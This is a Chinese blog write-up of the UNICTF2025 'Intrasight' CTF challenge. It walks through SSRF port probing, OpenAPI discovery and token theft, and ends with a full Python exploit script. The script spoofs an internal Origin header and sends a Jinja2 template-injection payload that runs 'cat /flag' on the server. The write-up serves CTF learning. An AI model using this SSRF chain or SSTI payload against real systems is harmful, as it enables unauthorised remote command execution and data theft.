一个下午一道 kfc
unictf 你好事做尽
UNICTF2025-Intrasight 打开容器界面如图

查看页面源代码发现三个内部服务点

public_web 通常指的是Web服务器的根目录或对外公开访问的文件夹 默认端口为80
admin_panel 网站的管理后台入口 一般端口为8080, 8443, 8888, 7001, 4848
w*_e1*r 这么奇形怪状还通配符替代,有问题
结合源代码中提到的WebSocket协议 ws:// 我们猜测这是一道 ssrf 类型题目
在 SSRF 题目中,如果不知道具体的端口或域名,用常用端口测试
80, 443, 3000, 5000, 6379, 8000, 8001, 8080, 8081, 8888, 9000, 9200, 1337然年后就能发现在一大堆 500 的状态码中出现了两个 404

为了看清楚一点重新去访问一下,看到了application/JSON提示了服务器理解并处理JSON 格式的数据
看到 application/json 响应时,就应该去尝试访问 /openapi.json
因为 d 哥告诉我们
很多基于标准库开发的API 服务(比如用 Python 的 Flask + Flask-RESTX,或 Node.js 的 Swagger 中间件),都有一个默认且公开的端点,用来输出整个 API 的 OpenAPI 规范文档。这个文件通常就叫:
/openapi.json
/swagger.json
/api-docs
(三选一)


所以我们尝试访问/openapi.json 能看到

而 8000 端口有三个接口

分别访问一下

访问到/api/debug/config 时看到

访问到/redirect_ws时看到

访问<font style=“color:rgb(201, 209, 217);background-color:rgb(22, 27, 34);”>ws://127.0.0.1:9000/ws</font>发现是协议,还缺个 token
而 /redirect_ws 刚好有个 token,复制,粘贴,欧耶

发现 token值已经无效了(token 值会随时变)

ai 写个脚本获取 token 拿 flag
import requests
import json
# 基础URL配置
BASE_URL = "http://80-1c89b64d-4a9d-4cc0-a239-d7d7ccc9f7e1.challenge.ctfplus.cn"
FETCH_URL = f"{BASE_URL}/fetch" # fetch端点URL
def main():
"""
主函数:通过SSRF攻击链获取flag
流程:获取token -> 构造WebSocket目标 -> 发送恶意模板渲染请求
"""
try:
# 第一步:通过redirect_ws获取token
print("[*] 正在获取token...")
redirect_resp = requests.get(
FETCH_URL,
params={"url": "http://127.0.0.1:8001/redirect_ws"}
)
# 解析重定向响应中的token
redirect_data = redirect_resp.json()
# 从location参数中提取token值
token = redirect_data["history"][0]["location"].split("token=")[1]
print(f"[+] Token获取成功: {token}")
# 第二步:构造目标WebSocket URL
target_ws = f"ws://127.0.0.1:9000/ws?token={token}"
print(f"[*] 目标WebSocket: {target_ws}")
# 设置请求头,模拟内部请求
headers = {
"Origin": "http://127.0.0.1", # 伪造来源为本地
"X-Internal-Token": token, # 内部认证token
"Content-Type": "application/json"
}
# 构造Jinja2模板注入payload
# 通过cycler对象获取os模块,执行系统命令读取flag
payload = {
"action": "render", # 渲染操作
"template": "{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }}", # 恶意模板
"context": {} # 空上下文
}
print("[*] 发送恶意模板渲染请求...")
# 第三步:发送POST请求触发模板注入
exploit_resp = requests.post(
FETCH_URL,
params={"url": target_ws}, # 目标WebSocket URL
headers=headers,
json=payload
)
# 格式化输出响应结果
print("[+] 攻击完成,响应结果:")
print(json.dumps(exploit_resp.json(), indent=2, ensure_ascii=False))
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求异常: {e}")
except KeyError as e:
print(f"[-] 解析响应数据失败: {e}")
except Exception as e:
print(f"[-] 未知错误: {e}")
if __name__ == "__main__":
print("[+] SSRF攻击脚本启动")
main()
print("[+] 脚本执行完毕")

game over
新兵蛋子玩个蛋的 kfc,脑壳痛

Comments | NOTHING